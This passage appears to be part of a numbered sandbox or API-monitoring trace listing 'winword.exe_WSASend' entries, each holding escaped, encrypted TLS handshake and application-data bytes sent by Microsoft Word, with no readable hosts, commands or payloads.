  698. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04m\\xc2d\\xe9\\xb3\\xd3\\xbax\\x04\\xe1\\xaf\\x13\\xb9\\xa5\\x07\\xb0\\x83_\\xbe1\\xfa\\xb5\\xad\t3\n\\x8f\\x89\\x89\\x1b\\xcb\\xc0\\xc6q\\x10h\\xdc\\x97\\x13\\xc0\\x9a4d\\x85:\\xd1g\\xb6\\xb2\\\\xa8\\xe5\\xcfk\\x9dys\\x86\\xe7c\\xdbt@\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000:a*l\\x0f\n\\x19c\\x98\\x10\\x8ao\\xb3\\x97-\\xac\\x98_n\\xf3shz\\xd1\\xaf\\xea\\xa9\\x1dge\\xe7r\\x18\\xf1*&\\xf7\\x1b\\xbe\\x82\\x7f\\xb4\\x17\\xe71y\\xcb"
  699.  
  700.  
  701. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x01\\xea\\xf7\\xbc\\xa3w\\xf4\\x8awv\\x00zd\\xe9\\x02\\xa6\\xcc\\xd4\\x10g\\xcb\\x07|\\xc9\\x94e\\xa1\\x02\\xb9i\\x07\\xf5\\x17\\x19\\xe2\\xd6#\\x9c\\x9cn\\xf9o!x<\\x10\\xfe\\xc4\\xbd\\x90\\xa3\\xc7\\x8b-\\xd1q\\xc5\\x9f`,f\\xd6\\x9a\\xf2\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xd3,\t\\xc9yeg\\xad\\xd26 \\x8a,\\xef\\xd3u\\x1d\\xe5\\xa7\\x05\\x9er\\x86\\xb8\\xf2\\xb9?uj_\\x16-\\x14\\x912\\xfc?\\xd7/\\xda\\xdc\\xedw\\xc5-\\xf5"
  702.  
  703.  
  704. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x91\\x14\\x13k=\\xd7%;b\\x12p\\xff\\xeb\\xc9\\xccci\\xf4\\xb1\\xf2d\\xbc\\xaa\\xa1\\xa0v\\xf2\\x1fra\\xd77\\x8f\\x9d\\xe5\\xc8\\xeb\\xe6\\xa9l\\x9b\\x11ocoi\\xed$f6*\\xd1\\xbb=i3\\x9c\\xd2\\xce\\xd5\\xc6\th\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x8a@\\x0b\\x92\\xa8\\xa9\\x90\\xa8\\xcf)\\xdf\\x93`\\xb4\\xa5>\\xce\\xa1ha\\xe4\\x1d(e!\\xcf\\xa9\\xf0\t\\xb1z\\x03:\\xbc1\\xeb)6\\xf9\\xdcq~s\\xeam\\x01"
  705.  
  706.  
  707. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xad\\x85\\xd7\\x01\\xbe\\xdc\\xa3i=\t\"*ri\\xce.dw\\xd8\\xaa\\xa6\\xf92e\\xc9i+\\xb7\\xd2\\xa1\\xfc\\x18>\\xe2!\\xfa\\xf1f\\xd4\\xc8\\xef\\xb6-\\xd6\\xe1\\x8d\\xb5\\x13\\x18g=<a\\x88ei\\xf8p\\xa1\\xba\\x97\\x1e\\xf0\\xad\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x89\\x17l\\xc1\\xb7\\xd7\\xa7\\xd0p\\x08\\x8d=^p\\x8ao\\xa1=\\xeb\\xc2\\xe6\\x98\\x1f\\xe5\\x9bp\\x84lv\r,_z\\xf7\\xcce\r\\xda\\x1a\\xfed\\xd3\\x87\\x07.o"
  708.  
  709.  
  710. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010i\\x808\\xa8\\xa46\\xf1\\x85\\x98l\\xbd@\\xcc\\xd9\n\\xaf\\xa9\\xd9\\xd0\\xaa:t\\xec\\xf0g\\xff\\x88\\x031s\\x00nd\\x88\\x07\\xc9\\xe2\\x82\\xb71\\xb6\\xd8\\xffz\\x00\\xaf\\xcff\\xd3\\xf2k\\xac\\x81nkx\\x9c\\xe6\\x95d\\xfddf\\x13\\x88\\x16\\xe4\\xa7\\xeeb6\\xd2x\\x10dp&\\x8fvm\\xc9\\xb4t\\x17\\xa0\\x15\\xba\\x9f\\x84\\xae\\xaa\\x1d\\xe4?\\xfd^\\xeey\\x8ao/\\xceo<\\x97\\xad^\\xfd\\xeb\\x92\\xde\\xc9\\xc5\\xb6d)\\xbc\\xb7t\\x82\\x85\\x8b\\x12k`6\\x01\\x04\\xe5q\\xf5v\\x11!\\x8amz\\xb6li\\x04u<i\\xe2\\xd3^ut\\x84\\x8f\\x03\\x9aw\\xc4\\x06k)\\xef\\xfal\\xb23\\xd5no'\\xa4r\\x18\\xb4$\\xeb\\xc2\\xa9\\x9f\\xbdm\\xed9\\x19\\x06\\xcf\\x1an\\x93\\xaf\\xd7\\x8f\\xde\\xf9\\xfc\\x1f\\xcdi-\\xc8\\xc5\\x9e\\xdee\\x82!o\\x10\\x94\\x7f\\x94\\xdd\\\\x02\\xdc\\xe9\\xfa\\x96ip\\xa3\\xb84\\xcb$f\\x95~\\x9behs#\\x98\\xbf\\xdd\\x04=\\x13umd~\\xac\\x0c\\xc3\\x88\\xa5\\xdc\\x07"
  711.  
  712.  
  713. "http_request": "winword.exe_WSASend_2\\x02\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xac\\xd1\\x98\\xc2\\xf1\\xe9t\\x18\\xa9c8>=\\xbb\\xa4\\xed4\\xd3\\xd1|z\\xe3\\x9f/j3\\xb8,\\xfb\\xdb+\\xae\\xccb'\\xa0\\x05@=f\\xb6\\xd4q\\xb8~\\x10\\xa7\\x00\\xea;o\\xfdl\\xfa\\x11t\\x88\\xa7\\xd8q\\xb1\\xc1\\x9e\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xf7bv\\xf2\\xccw\\xca\\x10\\x0bs\\xde\\xb9o\\x88\\xfd.b(ejc\\xaf\\x9fzpo\\xcb\\xfan\\x8a\\xf8\\x81\\x04\\x85\\x0c0\\xdc\\x8c\\xa2\\xc0j\\xb6\\xb6\\xe8\\x0e"
  714.  
  715.  
  716. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04%8\\xd8p\\x06\\xf0;2q\\x8c/>\\xff3\\x9a\\xc7|\\x0cg&\\xb4\\xa9\\x9d\\xdf\\x1a3\\xc04fc\\x81lf1\\x19j\\x053\\xd1\\xbes~vzasn\\x96\\x80a s:\\xba>\\xb5\\w\\xc9\\xfb&\\xb0\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xad\\xc4a\\x01\\x07\\xe3a\\x01\\x8a\\xc2q\\xb6\\xbb\\xfb\\y$>\\xd2:<:0zaz\\xa6\\xa5\\x0b\\xbd)e)\\x0b\\x8f\\xa7\\xfc\\xd7x\\x83<\\xb4\\xfem\\x03$s"
  717.  
  718.  
  719. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xe9\\x02\\x0f\\xee\\xb4\\xef\\xa2\\xf8\\x13kb\\x86\\x84fc&'ia\\x0f7^o`.b\\xa8\\xdd\\xf5\\xb2\\x9c\\x10\\xc0\\xa8\\xb3\\x1d\\xe4\\hu\\xa6\\xe1\\xefn\\xf3m\\x87w\\xa0\\x11\\xd4+\\xea\\x90\\x90!\\x8d\\xdb\\x9c\\xc5\\xd8\\x14\\xb8\\x82\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xa0\\xa6\\xb1\\xf8\\x82\\xde\\xd7g\\x05k\\xefy$\\xb3.\\xcc\\xba\\x8f\\x8e\"\\xca\\xc2\\x8bda\\x04\\xd7\\xfd\\xf4\\xe6\\x10\\x9cp\\xbcbl%&\\xa1\\xb7z\\x87=\\xfc\\xba\\x80t"
  720.  
  721.  
  722. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xf0\\x19\\x7f\\x9d\\x01\\xcdsm\\xef\\xd5\\xe3\"\\x89\\xf0-x\\xbe>\\x8e\\xe1\\xe4\\xd6\\xbf\\xe8) 1w\\xecq\\xdb\\xd6u\\xe6\\xf0\\xd88\\x1b\\xcd\\x17!\\xf3\\x97\\xbb\\xe8\\xa6\\xd9\\x0c2gzig\\xe6i\\xc5\\xb3a\\xc7\\x1c4\\xd1\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000t\\x03\\x1f\\x07~\\x95l\\x8epujal0\\x10c\\xf2b\\xbf\n\\x08rs\\xa7\\xfen\\x9e@\\xf0$\\xddf\\x8d\\xe9\\xb7 \r\\x93\\xff&\\x08\\xd2\\xd4\\x93\\x1d\\xd7\\x1f"
  723.  
  724.  
  725. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x18u\\xb9\\xc7\\xd7\\x9e\\xf9\\xa5\\xaevn\\xbe\\xe0\\\\x12#\\x87\\x8e\\xdf\\x1a\\\\xe6b\\xd5\\x92\\x04#\\xd8\\x15\\xd88qr\\xf90\\x01\\x11\\xc9\\x03\\xb7\\xc9\\xc3\\xca~`7\\x1f\\xf6\\x85\\x16@\\x8a|to\rz6\\x99#1\\xfb\\xbbl6\\xd2\\x9e\\x16\\xe3\\xa2\\xa8,&#l\\xcc\\xa3\\x9e<\\x0e=y`g\\xcb\\xf5\\xe1\\x9at\\xde\\xf0\\x82\\x03m\\xdc\\xd6y\\x08\\xee\\xaa\\xe2x\\xe4\\xcflm\\x0b\\x89\\x12t\\xb8\\x86\\x83@n\\xa0\\xbf\\x04\\xd2\\xd4\\xbb\\xec_\\xcb\\xcd\\x91%\\xe2k\\xc3w\r&\\x9b\\xfa\\xca@\\x9a\\xba\\xa1\\x8e'\\xe1\\x98(\\xe3c\\x83\\xa8\\x05\\xf7\\xe8u\\xfas\\xc3(\\x9b\\xb4n\\xee\\xee\\x13>\\xa2j\\xe0g\\xcc\\x04\\xa9\\xe2\\x90\\xad\\xad\\xb4\\xa3pdm\\xc1\\xd0*\\xc5\\xa6\\x96\\xda\\x0bj\\xa3s\\xff\\xdd\\x9e7\\xd5\\xf2i9\\xd6hs\\x85\\xfd^a\\xdf\\xc7ny\\x83l\tmf\\xac\\xe3\\xead\"\\x8e\\x1c\\xb4\\x97en\\xd8hj\\x9e\\xe2\\xff\\x94\\xa5\\xfbbd\\x9b\\xe3\\xe5|u"
  726.  
  727.  
  728. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010l\t\\xd1\\x98\\xe5\\x88y\\xaa\\xe2i\\x17\\x97\n\\x83\r\\xf25\\x82\\x10\\xb5\\xeb\\xb2\"\\xbc\\xa7\\xe1\\xab\\x87\\xdal(h\\x94\\x94.\\xbf\\xe7\\xf6)\\xcb\\x18\\xdf\\x97i\\x8c\\xeb\\x8f\\xd8a\\xfcg\\xd0\\xe1o\\xb6s\\xb71<\\x15\\xaa\\xf5\\x84\\xe7h\\xcfc\\xcflu\\x91\\xe6\\xbcpj\\xb8\\xe7\\xb6rf\\xe3u\\x81\\x171\r\\xfe\\x93\\x98\\xcd\\xa8\\x9e\\xad\\x02\\x1c\\x979\\x1b\\xc3\\xd7\\xc43n\\xda\\xb1\\x96ou\\xa5\\xfa\\xc7)\\x9b\\x0f\\xc9)\\xcc>\\x0ei\\xce\\xf9\\x06\\x9b\\x9c\\xf7~j\\xe3gvv\\xa2\\xee\\x9cm\\x11\\xcbk\\x03\r\\xd4o\\xe4i\\xf9f0\\x9d\\xb7\\xca\\xd0\\xda\\x05mwcsb\\xcd\\xcf\\xe9kp37a\\xc1\\xd1eh \\xc7\\xd7`\\xd1\\xa1auq\\x1b\\x83\\xc7\\xca2\\x1a\\xf7\\xff\\x0f\\xe4ji\\xed\\xc5f\\xb2y\\x87mkp\\x1do\\x13r\\xdb\\xffc\\x06\\xf6\\xde\\x89\\xeb\\x8e\\x9d\\x84,\\x84\\x15\\xea\\xc9\\xfd\\x1a\\x05\\xfa\\x17\\x8e\\x17\nys\\xfbt\\x08q\\xb7\\xf5\\xd9\\xfc.\\xae\\xe7\\xda\\xeao\\xa5@"
  729.  
  730.  
  731. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\t)\\xb5\\xf7\\x0f\r\\x00\\xecj\\xe5m,\\x02*m%\\xdd\\x91\\xb36\\xa2\\xd4^\\x04\\xd9\\xee.\\xfa\\x16\\xd8\\\\x1f\\xbb\\xdcc\\xa677\\xcf6\\x9d\\x88%\\xd4\\x86\"\\xd8\\x1ctifd\ra\\x89uu\\xe4x\\x8d#\\x91)31l\\xe1\\x8e\\x8ej~\\xc3l#\\x8bc\\xe0\\x9ei\\xf1\\xd0b\\x19\\x86y\\x9f|\\x8f0\\x16\\x89\\x95c`\\xbf%\\x98=\\x13\\xb5\\x0e\\xf9p\\x8a\\xa6\\xb5\\xb2\\xe6\\xbb\\x96\\xbdwd\\xf8\\xb4>\\xfev\\xe4\\x1cn\\x8f\\xd8\\xe78j\\xa5bm\\x1d\\xd2\\xcdx\\x98\\xee\\xeb\n\\xfe\\xc9\\x83n\\xaa\\x15\\xe5\\x8c\\x00\\xab\\xca\\xaf\\x19\\x8fb\\xebj->\\xe4\\xc0\\x1c=\\xd8e\\xf1\\x1f\\xe0\\xb6s\\xc7\\xc6\\xe2\\xf4\\xd9b\\xb0\\xa0\\xe15\\xa3\\xe5/*\n9:\\x83\\xd4wo>\\x04\\xf2\\xe90\\x0ec;n\\xc2j\\xb8\\x1e\\xef\\x1d\\xab0+g\\x1a\\xed\\x07:\\x1b\\xad^\\xdc\\x9a\\x0e3\\xfa3\\xbd\\x18r\\xa0x\t\\xb7#\\xe16\\x82k\\xce0z?l\\xa3\\xcck\\xcb\\x9b\\xfb\\xae\\xb3\\x85\\xd4\\xfd\\xa8"
  732.  
  733.  
  734. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010d\\xc3\\xfd6\\x05\\x1e\\xe7\\xd6\\x9c1\\xdf\\xf6\\x06\\x80\\x1d\\xb1q\\xbe\\xf0\\xa3\\x8f\\x98m:\\xe5d\\xf7\\xde\\x88\\x99\\xf8\\x04\\xc1\\x92s\\x11\\xc5\\xe8\\xf5\\x80\\x9c9sx\\xb7\\x8d\\xc9\\xd4\\xf2n\\x8b%\\xd3\\x801\\x06\\x83\\xff\tqd\\xfflu\\x8c\\xc1bf\\xae\\xf74\\xe2\\xdd\\x86\\x87\\xe5\\xb5d\\xfc\\x1b\\xbed'\\x8a=qf7(\\xa97o\\xfa\\xe9+\\xfa\\xd9a\\xb8o\\x14\\xfa!\\xb6\\x13\\x7f\\x98\\xf9o@\\xc1ohi\\x85\\xb7\\x9a\\xb4\\xf3\t\\x1f\\xd3\\x02\\xfb\\xc6y\\x10\\xa7&y\\xd3\\%\\xdb\\xd8\\xaa\t%\\xb6\r\\x8c\\xc1\\xbex\\xda\\xb5c@\\x8aghu\\xd4c\\xbc@\\xe0`s\\x8f\\x07\\xd0u\\x00,\\x9c\\xe5r\\xd0t\\xd4mhs\\xc4\\x03\\x9b\\xff\\x81;\\x0e\\x85uz\\xbf\\xa3\\xc0\\xe2m\\x00p,&\\x0f*e,\\x8a\\xc4z\\x96\\xf0\\x97\\x940\\xba#\\xa6\\xe4j\\x94\\x06\\xc9pv\\x1f\\xb6\\xfe\\xd3gwds\\x8b\\x12\\x86a\\xb1\\xbf\\x83\\xa2\\x7fulx\\xa3\\x12\\xd1\\x18\\xacj`(\\x11l\\xba\\xd3"
  735.  
  736.  
  737. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010^n\\xd2\\xb9r\\x9d \\xb6nv+\\x11tjy;\\x0cu\\xea\\xf1\\xc8\\xf9\"\\$\\x9f\\xa9\\xe2\\xac\\x90\\xa7\\xf1\\xc8b\\xc8\\x95\\xad\\xa6fez\\x01\\x88'\\xb3?\\xd5n\\xe7\\xf4\\x84z\\xcd\\xa0\\x85 \\x12\\x8f\\xdc\\x89\\xfa\\xfbf\\xb80\\x9e\\x08o\\xd2\\xfd\\xcf\\xa10\\x99\\x95\\xc3u\\xe7\\x101\\xdb\\xe3w\\x8e\\x18q\\xae\\xd0ab\\x14\\xd7\\xe0u\\x08q\\xcf\\x1a\\x1b\teo\\x9b\\xc4\\x07&n\r\\x14\\xa0i\\x89m\\x03\\xd5\\xf8\\xec&\\xf8\\xf3\\x8f\\xfam\\xe2\\xfew\\x95f\\xcd!+\\xa0\\x9e\\xff\\x12\\xa2_%\\xa7\\xc8\r\\xa9<\\xa0\\x90\\xc1us\\xaa\\xa2\\xcd\\x9a\\xc5_\\xc9r\\xb0%x\\xa2h#\\xd5\\x82r\\xab\\x94\\xd9ym\\x0e7\\xedi\\xb8b\\x93\\x90\\xa8\\xae9=\\x93\\xafu\\xc9b\\xc4\\x8cua\\xe3g\\x998\\xcfu\\x83\\x14\\xa2\\xfd,\\xc1a\\xeb\\x80\\xc3e\\x06\\x0c\\xc7;js\\x1fm\\xe0\\x02\\xc19\\xe0\\xce)\\xce\\xab\\x85\\xfej\\xc6\\xe0\\x84q\\x1c\\xfcm\\x1a?\n\\x01\\x94\\x16\\xcfb\\xf0\\xa5\\xa5\\x80\\x88"
  738.  
  739.  
  740. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010y'@\\x98y\\x9a\\xab\\xaaj@xjrb\\xbb*\\xaf\\xd8w\\x1c\\x0f\\x0f&\\x83\\xd7\\x99\\xd7kz~m85\\xf5*\\x88a\\xb0\\xe6\\x93\\x02\\xa3+\\x10p\\xb1\\x9b\\x84.\\xb2\\x03\\xa2\\xb3\\x14\\x9f\\xed\\xb3\\xabkf\\x16m\\x90\\x1c,\\x12l4\\xcd^\\xe0\\x9a\\xee\\x8d\\xf2\\x0f\\xc4\\xb9\\x19\\x18x\\x0es\\xa3\\x9av|v\\x8c.\\xfd@f\\xe8&\\xff\\xce\n;)\\xb3\\x86\\x84>ml2\\x7f\\\\x82\\xd3\\xc3!k\\x1f\\xc6$4\\xe5\\xd4\\xf5\\xbf\\xd2\\xc5p\"\\xe2q\\x83hz\\x0e\\xcab\\xd1d\\\\x0c\\x0b\\xeed^\\xd4\\x15\\xe4\\xfe\\xa4f\\xe0&\\xe6\\xc5\\xd9\\xa9\\x83\\xb94\\xe7\\x0cc\\x16-q\\xeb\\xf6\\xd8s\\xc7\\x8b\\x93\\xe8|\\xa6`s\\xb5\\xd7\r\\xcb\\xda7\\xaa\\x1b\\xd7\\x97@\\xaa\\xda\\x8c'\\p\t\\x1fn\\x99\\xd8\\xbb\\x04r)\\xa9\\x7f^\\x8a$\\xa2\\xfcuh\\xb6\\xfd\\xa0\\x80@g-)\\xa3\\x8c\\xc3my\\xc0n\\x0f\\xf1\\xd8\\x86\\x84\\x94\\xa9\\xe9\\xe5t\\xb1\\x02\\x0c\\xaf\\xda\\x05g\\xc7q\\xcd\\xa2\\x18u\\x14\\xb7"
  741.  
  742.  
  743. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010*\\xc1*1:\\xbc\\xf8m_\\x1a\\xb2\\xb0\\x1f\npbs\\xcel'\\xc4\\xe9\\x9d_\\x8a\\x83u\\x92\\xd0&\\xf0k\\xaa)(\\x06\\xa1\\xb6\\x03\\x9b\"g\\xd5<.\\xe3q\\x8f\\xe3\\xe4\\x04\\xb7\\x06=l\\x88\\x9e\\x9d\\xae-\\x07\\x9b'i-\\xe1h|\\xf0\\xc2p\\x9c|\\x8d\\xf9\\x0e\\x04\\xaeg\\xe0c\\xf1\\x06\\xfd\\xe0\\xfdh\\xa8t\\xa1\\xebw\\xd0\\x93\\xd0\\xa8o\\xb7\nd0g\\xec/\\xafb^ek\\x94c\\xf0\\xa8;\"g\\xe0\\x18c@\\xde\\xc7\\x7f\\xa7d\\x11\\xec\\x86\\xa0\\xf5\\x15\\x80\\x8ar|\\xa3\\xea\\xcc\\x99\\xfe\\x00\\x192\\xea\\x85\\x99\\x9b\\xe3\\xe8\\x06\\xa8\\xec0\\xbe\\xd0\\xeb\\x81\\xffk\\xc0\\xe5g\"\\xc2)\\x8e\\x1f\\x19\\xf1!\\xa9\\xe9\\xc4\\ql\\xa7\\xdf\\xccr_\\x0e\\xfe\\xe1\\x94\\x06\\x81\\x01\\xf2>\\xbe.\\xbdu?\\x02\\x95)\\x8d\\x86kf;\\x80#\\xaf\\xa1p|\\xd1\\xbcv\\x17\\x0c\\xadc\\x8c\\x9d\\x1c\\xcd\\xda\\xf8c\\x99\\\\x80\\xce\\xdcd\\xf5\\xa8w\\x15u\\xb0w\\xee\\xc2;\\xb2\\xf3\\xbc\\x97\\xa0\\x13\\xd7\"\\x1c\\xd3\\x8b"
  744.  
  745.  
  746. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xa5c\\xab\\x80\\xb5\\x156\\x7f\\x0b\\xd8~\\x0e\\xdaq3q\\xab\\xef;t\\x03u\\x0bb|\\xb2k\\xfd\\xb8\\xcc\\x98\\xcal\\x06i\\x97\\x11\\xac\\xddg\\x07v\\x19\\x04\\xfc\\x9e\\xaa:\\x12lt<\\x9f\\x00 dzuw\\x8f\\xe4\\xd0\\x9d\\xddq\\x17\\x08\\xc3t\\xb2l8\t\\xcb\\xb9\\x88\\x05\\xa6\\xf2\\xe6q\\x0e\\xfc\\x16\\x96\\xfd\\x87?\\xd4\\x1f\n\\x11b\\xb1jf\\xbbpk\\x17y9r\\xa9\\xe0\\x8a\\xcd\\x87;\\xda\\xd7\\xd3\\xd3x\\xca\\xc7\\x11\ne\\xf4sxs\\xf0_\\xbeo\\x19\\x8e\\xa6\\xf3\\xc2\r\\xe6^;&kfk'zb?l\\xeb\\x8a\\x80\\x9cx\\xd2\\xbc\\xe7\\xd3>\\xae\\xd9r\\x80c\\x0c!(\\x0e\\x85\\xca.\\xba\\x8b\\xb8#\\x14\\xf1\\x93w\\x9bg\\xce,g\\xf5d\\xa2/\\x9e\\x0b5*'\\x06-\\xdcnp>\\xf0\\xae\\x8e\\x91\\xfb\\x13\\xbca\\xd7l\t\\xe4+/\\x19\\xf4z\\xf4&\\x0b \\xbd\\x98\\xaav\\x94j\\x19\\x1d\\xb3uh\\xe0v1yvn\\xbd\\xcb\\xe9\\x9f\\xe5\\x17(\\x11\\x18\\x01\\xac\\x10yp"
  747.  
  748.  
  749. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x9ax\\xea\\xb1\\xce\\xc0.\\xf2\\x96\\xaa*\\x1c\\x8b\\xac\\xfce\\xfel`)\\xce,~\\x96\\xe1r\\xba\\x08\\x05\\x9e\\x1f\\xbf\\x16&\\xaa\\x82~\\xac\\xa7\\x1a\\x1am\\xc7\\xc1i\\x9f\\x85$\\x9c\\xd7\\xa0\\x1b\\xe8$\\xe5:\\x97\\x0ei0i#\\xc7\\xed=\\xa0\\xffkc\\xae\\xe5;.@\\xd1\\xd0\\xbe\\x01$c\\xae\\xcb:\\x88y\\x9df\\xe0\\x84a\\xd8\\xc5\\xb5\\xb1\\xfb\\xa6\\xba\\xd5\\x017\\xff\\xa7\\xf3p\\xf3\\xed#\\x8c\\xffg\\xa3\\xcfl\\x8e\\xc5$m\r>`\\xa2&\\x16\\xcavuc`\\x983\\xc5\\x13\\x15\\xe2\\xb4t\\xec\\xaf?\\x07\\x98\\xce\\xfe\\xdd\\xa6\\x9ft^\\x7fp\\xddop\rr\\xae\\xdfun\\x01\\xd56\\xe7\\xac6\\x1a\\xa1<<\\xdd\\xfc\\xac\\x12\\xc5\\xcc#\\xb2\\x90\\xad\\x839\\x89us\\xd7\\xf7\\xe6\\xc5\\xb2\\x03\\xcags\\xf2t\\xe3\\x9d\\x86\\x0cq:op&\\x18\\xa9\\x95\\xb1\\xba\n\\xb3\\xcb.p\\xea\\xf0\\x0cj\\xf1b%^@\\x8bb|\\xdag2\\x88u_\\xd5\\xfa6\\x1c\\x16\\xfb\\xdfx\\x89\\xbd\\xbc\\xe3\t\ro"
  750.  
  751.  
  752. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x88\\xec\\x93/\\xaa\\x8f\\xb8iw\\x0b\\xb6\\xcb\\x93n p\\xad\\xb8w+b\\xad\\x97p^\\x9c\\x1do\\x1b\\xe4\\xf5\\xa6\\x94\\xbf*\\x8b\n\\xa8\\xab\\xc2;l\\xf9\\xf2\\xf3\\xd0c\\xf6j<u\\x07\\x8c'\\x98l \\xb0e\\xc5 a\\xe1g\\x1e\r\\xff)k\\x03m\\x0b\\xd9dr\\xbf^\\x00\\xc6d\\xebs\\x9c\\xae\\xa9\\x06\\xce\\xb1\\xaf\\xd9p\\xa62\\x84\\xf4\\xc6yp1\\xed\\x8e\\x9f-\\x83\\x05\\xc7\\xc4\\xbe\\x9e\\xfa\\xc8\\xe4\\xf1e\\xd9\\xa8\\xd0o\\xdah^\\x8c\\xd4nh%\\xbc\\x91\\x03r\\xcci<\\xf8\\xffk\\xd7^\\xae)hh\\x9a\\xb7\\x99\\x94k&w\\xc62m\n\\x14\\xdf\\x06\\xfb\\xcb\\xe1\\xab\\xc2\\x06va\\xe3s\\x03\\xad\\xfb\\xee\\xd7\\x01:\\x99\\xd9\\xf8\\x92\\xace$k\\x13\n\\x11d) \\x1b\\x07\\xaf\\xc3\\x81\\x81\\x96\\x1d;\\xf3\\xa3\\xce\\x83,\\xfd\\xeb\\xe5\\x0c\\x01\\xe7:\\x96\\x8f\\x15\\xe8\\x10##\\xc4\\xa7t\\xa2\\x1ccv\\x9bm&\\xe2o\\xe0\\xa3\\xa0\\xa5l\\xf8\\x13\\xe9\\xa1\\xb7k\\xd2\\xb9\\x99\\\\xd3k\\x1c\\xaa\\\\xe1\\xa9"
  753.  
  754.  
  755. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x8fn\\x97gb\\x92\\xea\\x199\\x07!\\xe5\\xd9\\xf6\\xc3\\x1e\\xd15q)2\\x99fw\\xab\\\\x80\\xb5\\x80l\\x03$0\\xe3\\xa7;9+ \"\\xa3c9&\\xa7\\xd2\\x82\\xa1=\\x1d\\xc8\\x17\\x07\\x8a\\x02kp\\xa5\\x1f\\x99\\xb6\\x1a\\xa3l\\xf7|\\xf1\\xc2k\\xfc\\xd4\\xe0um\\x05e\\xb0\\x1ce%7\\xd6\\xa95>\\xfe\\xb03\\xd1\\x91k\\xeft\\xed\\x83\\x8a\\xc1\\xf4l?\\x86\\x91d\\xbd\\x0c;z\\xfblhl\\xf81\\x94\\xb9r\\xedg\\xaa\"eke\\xeb\n)|\\xb6\\xcc\\xc4\\x95|4q\\x1d\\x13\\x83\\x81\\x80\\x08\\xaf\\xe8\\xab'mml\\xc9\\x86:\\x900\\xd6\\x89\\xbc\\xef\\xf2\\xd9\\xf22\\x93\\xcc,`\\xef\\x99uul\\xcd>.\\xde\\x84\\xf8\\xf4'\t\\xd8\\xa3\\xc0\\x85\\x12\\x7f\\x9d@wu\\xdf\\xb3\\xb9\\xc11a\\xc0\tmt\\xea\\x8b\\xfb\\x8a\\x03\\x9cn\\x1fz\\x01(\\xe3\\xc8\\xf2\\xd2\\xb5\\x0c\\xeedn\\x96d\\xcao\\x8b\\x89\\xbe`6t\\xe1^nr\\xc8\\xe7\\xf3b\\xe6\\xcd<0\\x01s\\xed\\x8b"
  756.  
  757.  
  758. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010%96\\x0f\\x98\\xe2d?\\x7f94\\xbb\\xd4\\x9f\\x0b?\\x7fv\\xfd\\xd7\\x18'\\xa8lm\\xad\\xb0\\xe6\\x11&\\xaf=\\xea\\x1an\\x02\\x98`n\\xb2\\x9d\\xffb\\x8d\\x93l\\x1c\\xfd6y\\x88f\\x91\\xbf k\\x1c\"a\\x1b\\xa1\\x12?cog\\xec\\x8b7'l\\x9a\\xf9%\\xce\\x86q\\xd6\\xab\\x81\\xbe\\x86\\xbd\\x9a\\xaf\\xbd\\xee\\xc1\\xe9\\x88\\xf3\\xda\\xe5\\xbd\\x8d\\xebs\\xaf\\x8da\\xc8\\xdf\\x18\\x0e\\x15z\\x10\\xa1\\x15\\x8f\\xdcl\\xbe\\x85\\x8f\\xce\\xd31\\x0cl\\xe1\\xc2j\\xc8\\xe5\\xd8\\xc9\\xd9#5\\x16v\\xb3s3\\xe3d\\xd1d+\\x8f\\xa7\\xbbvs\\xddw\\xfe\\xf7\\xfc\\x9b@\\x84\\x13\\xc3\\xd2aigc\\xbd<\\xa2\\xd9\\xea\\xd9bq\\xd6\\x83&\\xf1\\xdd\\xf9\\x11b@0\\xad\\xae\\x11g\\x87\\x9c\\xf5\\xe6\\x84\\xb4\\xd1t\\x80m\\xa35\\x7fe\\x08\\xac\\xf9\\xf3\\x98&\\xd8'\\xf8cm\\xd0\\xc4\\xd2\\xfb\\x07\\xe9\\xfb\n\\xd9?\\x1f\\x9c\\xf7t\\x1b\\xc6\\x85\\x07\\xd8~\\xf1\\xb45z\\xad2\\xd6i\\x01ut\\xdbju\\x0f\\x9c\\x85\\xbf"
  759.  
  760.  
